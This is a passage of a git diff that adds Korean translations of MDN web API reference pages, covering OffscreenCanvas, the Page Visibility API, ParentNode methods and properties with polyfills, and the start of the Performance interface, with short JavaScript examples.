렌더링된 캔버스 컨텍스트 객체를 반환합니다.
+
+ +
+
{{domxref("OffscreenCanvas.convertToBlob()")}}
+
캔버스에 들어있는 이미지에 대한 {{domxref("Blob")}} 객체를 생성합니다.
+
+ +
+
{{domxref("OffscreenCanvas.transferToImageBitmap()")}}
+
OffscreenCanvas에 렌더링된 이미지중에서 가장 최근에 렌더링된 이미지를 {{domxref("ImageBitmap")}} 객체로 생성합니다.
+
+ +

예시

+ +

OffscreenCanvas 에서 만들어진 프레임을 동기적으로 화면에 보여주는 방법

+ +

OffscreenCanvas API를 사용하는 방법은 OffscreenCanvas에 속한 {{domxref("RenderingContext")}}를 이용해 새로운 프레임 객체를 생성하는 것입니다. 새 프레임이 컨텍스트에 렌더링이 되고나면, 가장 최근에 렌더링 된 이미지를 저장하는 {{domxref("OffscreenCanvas.transferToImageBitmap", "transferToImageBitmap()")}} 메소드를 호출할 수 있습니다. 이 메소드는 다른 수 많은 Web API에서 사용되고 있는 {{domxref("ImageBitmap")}} 객체를 리턴합니다.

+ +

ImageBitmap을 화면에 표시하려면, 현재 (화면에 보여지고 있는) 캔버스 요소의 canvas.getContext("bitmaprenderer") 메소드를 호출했을 때 생성되는 {{domxref("ImageBitmapRenderingContext")}} 객체를 사용하면 됩니다. 이 컨텍스트는 캔버스의 내용을 주어진 ImageBitmap으로 전환하는 기능을 제공합니다.  OffscreenCanvas에서 이전에 렌더링이 되어서 등록된 ImageBitmap을 이용한 {{domxref("ImageBitmapRenderingContext.transferFromImageBitmap()")}}을 호출하면 ImageBitmap이 캔버스에 표시되고 소유권 역시 캔버스로 넘어갑니다. 단일 OffscreenCanvas는 프레임들을 임의의 다른 ImageBitmapRenderingContext 객체로 전달합니다.

+ +

아래에 두 개의 {{HTMLElement("canvas")}} 요소가 있습니다.

+ +
<canvas id="one"></canvas>
+<canvas id="two"></canvas>
+ +

다음의 코드는 위에서 설명한 것처럼 OffscreenCanvas를 이용해 렌더링합니다.

+ +
var one = document.getElementById("one").getContext("bitmaprenderer");
+var two = document.getElementById("two").getContext("bitmaprenderer");
+
+var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext('webgl');
+
+// ... gl 컨텍스트를 이용해 첫 번째 캔버스에 무언가를 그립니다 ...
+
+// 첫 번째 캔버스에 렌더링을 수행합니다.
+var bitmapOne = offscreen.transferToImageBitmap();
+one.transferFromImageBitmap(bitmapOne);
+
+// ... gl 컨텍스트를 이용해 두 번째 캔버스에 무언가를 그립니다 ...
+
+// 두 번째 캔버스에 렌더링을 수행합니다.
+var bitmapTwo = offscreen.transferToImageBitmap();
+two.transferFromImageBitmap(bitmapTwo);
+
+ +

OffscreenCanvas 에서 만들어진 프레임을 비동기적으로 화면에 보여주는 방법

+ +

OffscreenCanvas API를 이용하는 또 다른 방법은  worker 또는 메인 스레드위에서 {{HTMLElement("canvas")}} 요소의 {{domxref("HTMLCanvasElement.transferControlToOffscreen", "transferControlToOffscreen()")}}를 호출하는 것입니다. 여기서 메인 스레드는 OffscreenCanvas 객체를 반환하는 {{domxref("HTMLCanvasElement")}} 객체를 가지고 있습니다. {{domxref("OffscreenCanvas.getContext", "getContext()")}}를 호출하면 OffscreenCanvas에서 RenderingContext를 얻을 수 있습니다.

+ +

main.js (메인 스레드 코드):

+ +
var htmlCanvas = document.getElementById("canvas");
+var offscreen = htmlCanvas.transferControlToOffscreen();
+
+var worker = new Worker("offscreencanvas.js");
+worker.postMessage({canvas: offscreen}, [offscreen]);
+
+ +

offscreencanvas.js (worker 코드):

+ +
onmessage = function(evt) {
+  var canvas = evt.data.canvas;
+  var gl = canvas.getContext("webgl");
+
+  // ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+};
+
+ +

worker 내에서 requestAnimationFrame 또한 사용할 수 있습니다.

+ +
onmessage = function(evt) {
+  const canvas = evt.data.canvas;
+  const gl = canvas.getContext("webgl");
+
+  function render(time) {
+    // ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+    requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+};
+ +

상세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#the-offscreencanvas-interface", "OffscreenCanvas")}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/offscreencanvas/offscreencanvas/index.html b/files/ko/web/api/offscreencanvas/offscreencanvas/index.html new file mode 100644 index 0000000000..89c6f42062 --- /dev/null +++ b/files/ko/web/api/offscreencanvas/offscreencanvas/index.html @@ -0,0 +1,74 @@ +--- +title: OffscreenCanvas() +slug: Web/API/OffscreenCanvas/OffscreenCanvas +tags: + - API + - Canvas + - Constructor + - Experimental + - OffscreenCanvas + - Reference + - WebGL +translation_of: Web/API/OffscreenCanvas/OffscreenCanvas +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas() 생성자는 새롭게 초기화된 {{domxref("OffscreenCanvas")}} 객체를 반환합니다.

+ +

 

+ +

구문

+ +
new OffscreenCanvas(width, height);
+
+ +

매개 변수

+ +
+
width
+
offscreen 캔버스의 너비
+
height
+
offscreen 캔버스의 높이
+
+ +
+
+ +

예시

+ +

이 예시는 OffscreenCanvas() 생성자를 이용해 새로운 offscreen 캔버스를 생성하고, WebGL 컨텍스트의 {{domxref("OffscreenCanvas.getContext()", "getContext()")}} 메소드를 사용해 초기화합니다.

+ +
let offscreen = new OffscreenCanvas(256, 256);
+let gl = offscreen.getContext('webgl');
+
+ +

상세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas", "OffscreenCanvas()")}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas.OffscreenCanvas")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/offscreencanvas/toblob/index.html b/files/ko/web/api/offscreencanvas/toblob/index.html new file mode 100644 index 0000000000..e57eeecfbb --- /dev/null +++ b/files/ko/web/api/offscreencanvas/toblob/index.html @@ -0,0 +1,77 @@ +--- +title: OffscreenCanvas.convertToBlob() +slug: Web/API/OffscreenCanvas/toBlob +tags: + - API + - Canvas + - Experimental + - Method + - OffscreenCanvas + - Reference +translation_of: Web/API/OffscreenCanvas/toBlob +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas.convertToBlob() 메소드는 캔버스에 포함된 이미지를 표현하는 {{domxref("Blob")}} 객체를 생성합니다.

+ +

구문

+ +
Promise<Blob> OffscreenCanvas.convertToBlob(options);
+ +

매개 변수

+ +
+
options {{optional_inline}}
+
+

객체를 {{domxref("Blob")}} 객체로 전환할 때 다양한 옵션을 줄 수 있습니다.

+ +
const blob = offscreenCanvas.convertToBlob({
+  type: "image/jpeg",
+  quality: 0.95
+});
+ +

options:

+ +
    +
  • type: 이미지 포맷을 가리키는 {{domxref("DOMString")}}. 상세 타입은 image/png
  • +
  • quality: type 옵션이 image/jpeg 혹은 image/webp 일 때 이미지의 품질을 가리키는 01사이의 {{jsxref("Number")}}. 이 매개 변수가 다른 값이라면, 이미지 품질의 기본 설정값이 적용됩니다. 다른 매개 변수들은 무시됩니다.
  • +
+
+
+ +

반환 값

+ +

캔버스에 포함된 이미지를 표현하는 {{domxref("Blob")}} 객체를 반환하는 {{jsxref("Promise")}}

+ +

예시

+ +
var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+// ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+
+offscreen.convertToBlob().then(function(blob) {
+  console.log(blob);
+});
+
+// Blob { size: 334, type: "image/png" }
+ +

상세

+ +

현재 작성되고 있는 중입니다: OffscreenCanvas.

+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas.convertToBlob")}}

+
+ +

 

+ +

더 보기

+ + diff --git a/files/ko/web/api/offscreencanvas/width/index.html b/files/ko/web/api/offscreencanvas/width/index.html new file mode 100644 index 0000000000..e7d7440d28 --- /dev/null +++ b/files/ko/web/api/offscreencanvas/width/index.html @@ -0,0 +1,63 @@ +--- +title: OffscreenCanvas.width +slug: Web/API/OffscreenCanvas/width +tags: + - API + - Canvas + - Experimental + - OffscreenCanvas + - Property + - Reference +translation_of: Web/API/OffscreenCanvas/width +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

width 프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 너비를 반환합니다.

+ +

구문

+ +
var pxl = offscreen.width;
+offscreen.width = pxl;
+ +
+
+ +

예시

+ +

새로운 offscreen 캔버스를 생성하고 높이를 설정하거나 반환합니다.

+ +
var offscreen = new OffscreenCanvas(256, 256);
+offscreen.width; // 256
+offscreen.width = 512;
+
+ +

상세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas-width", "OffscreenCanvas.width")}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas.width")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/page_visibility_api/index.html b/files/ko/web/api/page_visibility_api/index.html new file mode 100644 index 0000000000..98d67430e9 --- /dev/null +++ b/files/ko/web/api/page_visibility_api/index.html @@ -0,0 +1,141 @@ +--- +title: Page Visibility API +slug: Web/API/Page_Visibility_API +tags: + - API + - DOM + - Documents + - Tutorials +translation_of: Web/API/Page_Visibility_API +--- +
{{DefaultAPISidebar("Page Visibility API")}}
+ +

Page Visibility API는 웹페이지가 visible 또는 focus 상태인지 당신이 알도록 한다. 탭 브라우징 사용시에, background 에 어떤 웹페이지가 존재하면서 유저에게 보이지 않을 가능성이 있다. 사용자가 웹페이지를 최소화하거나 다른 탭으로 이동했을 때, 이 API 는 페이지의 visibility 를 관찰하는 {{event("visibilitychange")}} 이벤트를 전달한다. 당신은 이벤트를 감지할 수 있고, 어떠한 action 을 수행하거나 다르게 반응할 수 있다. 예를 들어, 당신의 웹 앱이 video 를 재생한다면, 사용자가 다른 브라우저를 보고 있을 때 video 를 pause 하고, 탭으로 돌아왔을 때 다시 재생할 수 있다. 사용자는 video 에서 자신의 위치를 잃지 않고 계속 시청할 수 있다.
+
+ Visibility states of an {{HTMLElement("iframe")}} 의 visibility 상태는 부모 document 와 동일하다. CSS 속성으로 iframe 을 숨기더라도 visibility 이벤트가 트리거되거나 content document 의 상태가 변경되지 않는다.

+ +

Use cases

+ +

몇몇 예시 :

+ + + +

개발자들은 역사적으로 이를 감지하기 위해 불완전한 프록시들을 사용하였었습니다. 예를 들어, window 에 onblur/onfocus 핸들러를 등록록함으로써, 당신의 페이지가 활성화된 페이지가 아닐 때 당신이 알 수 있도록 하였지만, 그것은 당신의 페이지가 사용자에게 숨겨져 있음을 알려주지는 못 합니다. Page Visibility API 는 이를 다룹니다. (window 에 onblur/onfocus 핸들러들을 등록하는 것과 비교하자면, 주요 차이점은 다른 window 가 활성화되고 브라우저 window 가 focus 를 잃을 때 페이지가 숨겨지지 않는다는 점입니다. 페이지는 단지 사용자가 다른 탭으로 전환하거나, 브라우저 window 를 최소화하였을 때 숨겨집니다.)

+ +

Example

+ +

live example 보기 (사운드를 가진 video).
+
+ 당신이 다른 tab 으로 이동했을 때 video 를 일시 정지하는, 다음의 코드로 구현되어 있는 예시 :

+ +
// Set the name of the hidden property and the change event for visibility
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+  hidden = "hidden";
+  visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+  hidden = "msHidden";
+  visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+  hidden = "webkitHidden";
+  visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// If the page is hidden, pause the video;
+// if the page is shown, play the video
+function handleVisibilityChange() {
+  if (document[hidden]) {
+    videoElement.pause();
+  } else {
+    videoElement.play();
+  }
+}
+
+// Warn if the browser doesn't support addEventListener or the Page Visibility API
+if (typeof document.addEventListener === "undefined" || typeof document[hidden] === "undefined") {
+  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+  // Handle page visibility change
+  document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+  // When the video pauses, set the title.
+  // This shows the paused
+  videoElement.addEventListener("pause", function(){
+    document.title = 'Paused';
+  }, false);
+
+  // When the video plays, set the title.
+  videoElement.addEventListener("play", function(){
+    document.title = 'Playing';
+  }, false);
+
+}
+
+ +

Properties overview

+ +

document.hidden Read only

+ +

페이지가 사용자에게 보이지 않는 것으로 간주되는 상태일 경우 true 를 반환하고, 그렇지 않을 경우 false 를 반환한다.

+ +

document.visibilityState Read only

+ +

는 document 의 visibility 상태를 나타내는 string. 가능한 values:

+ + + +
//startSimulation and pauseSimulation defined elsewhere
+function handleVisibilityChange() {
+  if (document.hidden) {
+    pauseSimulation();
+  } else  {
+    startSimulation();
+  }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.visibilityState")}}

+ +

See also

+ + diff --git a/files/ko/web/api/parentnode/append/index.html b/files/ko/web/api/parentnode/append/index.html new file mode 100644 index 0000000000..1c9496b65b --- /dev/null +++ b/files/ko/web/api/parentnode/append/index.html @@ -0,0 +1,134 @@ +--- +title: ParentNode.append() +slug: Web/API/ParentNode/append +translation_of: Web/API/ParentNode/append +--- +
{{APIRef("DOM")}}
+ +

ParentNode.append() 메서드는 ParentNode의 마지막 자식 뒤에 {{domxref("Node")}} 객체 또는 {{domxref("DOMString")}} 객체를 삽입한다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드처럼 삽입한다.

+ +

{{domxref("Node.appendChild()")}}와 다른 점:

+ + + +

문법

+ +
[Throws, Unscopable]
+void ParentNode.append((Node or DOMString)... nodes);
+
+ +

매개 변수

+ +
+
nodes
+
삽입하려고 하는 {{domxref("Node")}} 객체 집합 또는 {{domxref("DOMString")}} 객체 집합.
+
+ +

예외

+ + + +

예제

+ +

요소(element) 추가하기

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ <p> ]
+
+ +

문자(text) 추가하기

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+
+console.log(parent.textContent); // "Some text"
+ +

요소(element)와 문자(text) 함께 추가하기

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

ParentNode.append() 범위 지정 불가

+ +

append() 메소드는 with 문으로 범위를 지정하지 않는다. 더 자세한 내용은 {{jsxref("Symbol.unscopables")}} 참고.

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined 
+ +

대체 구현

+ +

다음 코드를 이용하면 인터넷 익스플로러 9 이상에서 append() method를 대체하여 구현할 수 있다.

+ +
// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

명세

+ + + + + + + + + + + + + + +
명세상태참고
{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.ParentNode.append")}}

+ +

참고

+ + diff --git a/files/ko/web/api/parentnode/childelementcount/index.html b/files/ko/web/api/parentnode/childelementcount/index.html new file mode 100644 index 0000000000..665c417512 --- /dev/null +++ b/files/ko/web/api/parentnode/childelementcount/index.html @@ -0,0 +1,97 @@ +--- +title: ParentNode.childElementCount +slug: Web/API/ParentNode/childElementCount +tags: + - API + - DOM + - ParentNode + - Property + - Reference +translation_of: Web/API/ParentNode/childElementCount +--- +
{{ APIRef("DOM") }}
+ +

ParentNode.childElementCount 읽기 전용 속성은 주어진 요소의 자식 요소 개수를 unsigned long 타입으로 반환합니다.

+ +
+

이 속성은 처음에 {{domxref("ElementTraversal")}} 인터페이스에 정의되었습니다. 이 인터페이스는 자식이 있는 {{domxref("Node")}}와 자식 {{domxref("Node")}}를 위한 두 가지 고유한 속성 집합을 포함하고 있었는데, 각각 {{domxref("ParentNode")}}와 {{domxref("ChildNode")}} 개별 인터페이스로 이동되었습니다. childElementCount의 경우 {{domxref("ParentNode")}}로 이동했습니다. 이것은 기술적인 변화로 호환성에는 영향을 미치지 않습니다.

+
+ +

문법

+ +
var count = node.childElementCount;
+
+ +
+
count
+
unsigned long(정수) 타입의 반환값.
+
node
+
{{domxref("Document")}}, {{domxref("DocumentFragment")}} 또는 {{domxref("Element")}} 객체.
+
+ +

예제

+ +
var foo = document.getElementById('foo');
+if (foo.childElementCount > 0) {
+  // Do something
+}
+
+ +

폴리필 (IE8 & IE9 & Safari)

+ +

이 속성은 IE9 이전 버전에서는 지원하지 않습니다. IE9과 Safari는 Document와 DocumentFragment 객체에서 이 속성을 지원하지 않습니다.

+ +
;(function(constructor) {
+  if (constructor &&
+      constructor.prototype &&
+      constructor.prototype.childElementCount == null) {
+    Object.defineProperty(constructor.prototype, 'childElementCount', {
+      get: function() {
+        var i = 0, count = 0, node, nodes = this.childNodes;
+        while (node = nodes[i++]) {
+          if (node.nodeType === 1) count++;
+        }
+        return count;
+      }
+    });
+  }
+})(window.Node || window.Element);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
표준상태비고
{{SpecName('DOM WHATWG', '#dom-parentnode-childelementcount', 'ParentNode.childElementCount')}}{{Spec2('DOM WHATWG')}}Split the ElementTraversal interface in {{domxref("ChildNode")}} and ParentNode. This method is now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ParentNode.childElementCount")}}

+ +

참조

+ + diff --git a/files/ko/web/api/parentnode/children/index.html b/files/ko/web/api/parentnode/children/index.html new file mode 100644 index 0000000000..264fb25956 --- /dev/null +++ b/files/ko/web/api/parentnode/children/index.html @@ -0,0 +1,85 @@ +--- +title: ParentNode.children +slug: Web/API/ParentNode/children +translation_of: Web/API/ParentNode/children +--- +
{{ APIRef("DOM") }}
+ +

{{domxref("ParentNode")}}의 속성 children은 호출된 요소의 모든 자식 노드의 {{domxref("Element","elements")}}를 담고있는 실시간 {{domxref("HTMLCollection")}}을 반환합니다.

+ +

Syntax 

+ +
var children = node.children;
+ +

Value

+ +

실시간이며, node의 자식 DOM 요소들의 정렬된 컬렉션인 {{ domxref("HTMLCollection") }}. 각 자식 요소를 컬렉션 안에서 접근하기 위해서 {{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 Javascript 배열 스타일의 문법을 사용할 수 있습니다.

+ +

만약 노드가 자식요소를 갖고 있지 않나면, children은 0의 length를 가진 빈 리스트 일 것입니다.

+ +

Example

+ +
var foo = document.getElementById('foo');
+for (var i = 0; i < foo.children.length; i++) {
+    console.log(foo.children[i].tagName);
+}
+
+ +

Polyfill

+ +
// Overwrites native 'children' prototype.
+// Adds Document & DocumentFragment support for IE9 & Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &&
+        constructor.prototype &&
+        constructor.prototype.children == null) {
+        Object.defineProperty(constructor.prototype, 'children', {
+            get: function() {
+                var i = 0, node, nodes = this.childNodes, children = [];
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        children.push(node);
+                    }
+                }
+                return children;
+            }
+        });
+    }
+})(window.Node || window.Element);
+
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ParentNode.children")}}

+ +

See also

+ + diff --git a/files/ko/web/api/parentnode/index.html b/files/ko/web/api/parentnode/index.html new file mode 100644 index 0000000000..39502f3625 --- /dev/null +++ b/files/ko/web/api/parentnode/index.html @@ -0,0 +1,80 @@ +--- +title: ParentNode +slug: Web/API/ParentNode +tags: + - API + - DOM + - Mixin + - Node + - ParentNode + - Reference +translation_of: Web/API/ParentNode +--- +
{{APIRef("DOM")}}
+ +

ParentNode 믹스인mixin은 자식을 가질 수 있는 모든 종류의 {{domxref("Node")}} 객체가 공통으로 가지는 메서드와 속성을 가집니다. {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("DocumentFragment")}} 객체가 구현합니다.

+ +

선택자로 DOM 요소 선택하기 문서를 참고하여 CSS 선택자로 원하는 노드나 요소를 선택하는 법을 알아보세요.

+ +

속성

+ +
+
{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}
+
ParentNode가 가진 자식 중 요소의 수를 반환합니다.
+
{{domxref("ParentNode.children")}} {{readonlyInline}}
+
ParentNode가 가진 모든 자식 중 요소만 모은 {{domxref("HTMLCollection")}}을 반환합니다.
+
{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}
+
ParentNode의 자식이자 {{jsxref("Element")}}인 객체 중 첫 번째를 반환합니다. 만족하는 자식이 없으면 {{jsxref("null")}}을 반환합니다.
+
{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}
+
ParentNode의 자식이자 {{jsxref("Element")}}인 객체 중 마지막을 반환합니다. 만족하는 자식이 없으면 {{jsxref("null")}}을 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("ParentNode.append()")}} {{experimental_inline}}
+
ParentNode의 마지막 자식 다음에, 주어진 {{domxref("Node")}}나 {{domxref("DOMString")}} 객체를 삽입합니다. DOMString 객체는 동등한 {{domxref("Text")}}처럼 취급합니다.
+
{{domxref("ParentNode.prepend()")}} {{experimental_inline}}
+
ParentNode의 첫 번째 자식 이전에, 주어진 {{domxref("Node")}}나 {{domxref("DOMString")}} 객체를 삽입합니다. DOMString 객체는 동등한 {{domxref("Text")}}처럼 취급합니다.
+
{{domxref("ParentNode.querySelector()")}}
+
현재 ParentNode를 기준으로, 하위 요소 중 주어진 선택자를 만족하는 첫 번째 {{domxref("Element")}}를 반환합니다.
+
{{domxref("ParentNode.querySelectorAll()")}}
+
현재 ParentNode를 기준으로, 하위 요소 중 주어진 선택자를 만족하는 모든 요소의 {{domxref("NodeList")}}를 반환합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}{{Spec2('DOM WHATWG')}}Split the ElementTraversal interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and used it on {{domxref("Element")}}.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ParentNode")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/parentnode/prepend/index.html b/files/ko/web/api/parentnode/prepend/index.html new file mode 100644 index 0000000000..1877529adc --- /dev/null +++ b/files/ko/web/api/parentnode/prepend/index.html @@ -0,0 +1,133 @@ +--- +title: ParentNode.prepend() +slug: Web/API/ParentNode/prepend +translation_of: Web/API/ParentNode/prepend +--- +
{{APIRef("DOM")}}
+ +

ParentNode.prepend() 메소드는 {{domxref("Node")}} 객체 또는{{domxref("DOMString")}} 객체를 {{domxref("ParentNode")}}의 첫 자식노드 앞에 삽입한다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입된다.

+ +

Syntax

+ +
ParentNode.prepend(...nodesToPrepend);
+
+ +

Parameters

+ +
+
nodesToPrepend
+
One or more nodes to insert before the first child node currently in the ParentNode. Each node can be specified as either a {{domxref("Node")}} object or as a string; strings are inserted as new {{domxref("Text")}} nodes.
+
+ +

Return value

+ +

undefined.

+ +

Exceptions

+ + + +

Examples

+ +

Prepending an element

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ <span>, <p> ]
+
+ +

Prepending text

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"
+ +

Appending an element and text

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

ParentNode.prepend() is unscopable

+ +

The prepend() method is not scoped into the with statement. See {{jsxref("Symbol.unscopables")}} for more information.

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined 
+ +

Polyfill

+ +

You can polyfill the prepend() method if it's not available:

+ +
// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('prepend')) {
+      return;
+    }
+    Object.defineProperty(item, 'prepend', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function prepend() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.insertBefore(docFrag, this.firstChild);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ParentNode.prepend")}}

+ +

See also

+ + diff --git a/files/ko/web/api/performance/index.html b/files/ko/web/api/performance/index.html new file mode 100644 index 0000000000..28e3a63c06 --- /dev/null +++ b/files/ko/web/api/performance/index.html @@ -0,0 +1,138 @@ +--- +title: Performance +slug: Web/API/Performance +tags: + - API + - Interface + - Navigation Timing + - NeedsTranslation + - Performance + - Reference + - TopicStub + - Web Performance +translation_of: Web/API/Performance +--- +
{{APIRef("High Resolution Time")}}
+ +

The Performance interface represents timing-related performance information for the given page.

+ +

An object of this type can be obtained by calling the {{domxref("Window.performance")}} read-only attribute.

+ +
+

Note: This interface and its members are available in Web Workers, except where indicated below. Note that some available parts of the interface are not yet documented (see the Performance Timeline and User Timing specs for more details.) Also note that performance markers and measures are per context. If you create a mark on the main thread (or other worker), you cannot see it in a worker thread, and vice versa.

+
+ +

Properties

+ +

The Performance interface doesn't inherit any properties.

+ +
+
{{domxref("Performance.navigation")}} {{readonlyInline}}
+
Is a {{domxref("PerformanceNavigation")}} object representing the type of navigation that occurs in the given browsing context, like the amount of redirections needed to fetch the resource. Not available in workers.
+
{{domxref("Performance.onframetimingbufferfull")}}
+
TBD
+
{{domxref("Performance.onresourcetimingbufferfull")}}
+
Is an {{domxref("EventTarget")}} which is a callback that will be called when the {{event("resourcetimingbufferfull")}} event is fired.
+
{{domxref("Performance.timing")}} {{readonlyInline}}
+
Is a {{domxref("PerformanceTiming")}} object containing latency-related performance information. Not available in workers.
+
+ +

Methods

+ +

The Performance interface doesn't inherit any method.

+ +
+
{{domxref("Performance.clearFrameTimings()")}}
+
TBD
+
{{domxref("Performance.clearMarks()")}}
+
Removes the given mark from the browser's performance entry buffer.
+
{{domxref("Performance.clearMeasures()")}}
+
Removes the given measure from the browser's performance entry buffer.
+
{{domxref("Performance.clearResourceTimings()")}}
+
Removes all {{domxref("PerformanceEntry","performance entries")}} with a {{domxref("PerformanceEntry.entryType","entryType")}} of "resource" from the browser's performance data buffer.
+
{{domxref("Performance.getEntries()")}}
+
Returns a list of {{domxref("PerformanceEntry")}} objects based on the given filter.
+
{{domxref("Performance.getEntriesByName()")}}
+
Returns a list of {{domxref("PerformanceEntry")}} objects based on the given name and entry type.
+
{{domxref("Performance.getEntriesByType()")}}
+
Returns a list of {{domxref("PerformanceEntry")}} objects of the given entry type.
+
{{domxref("Performance.mark()")}}
+
Creates a {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's performance entry buffer with the given name.
+
{{domxref("Performance.measure()")}}
+
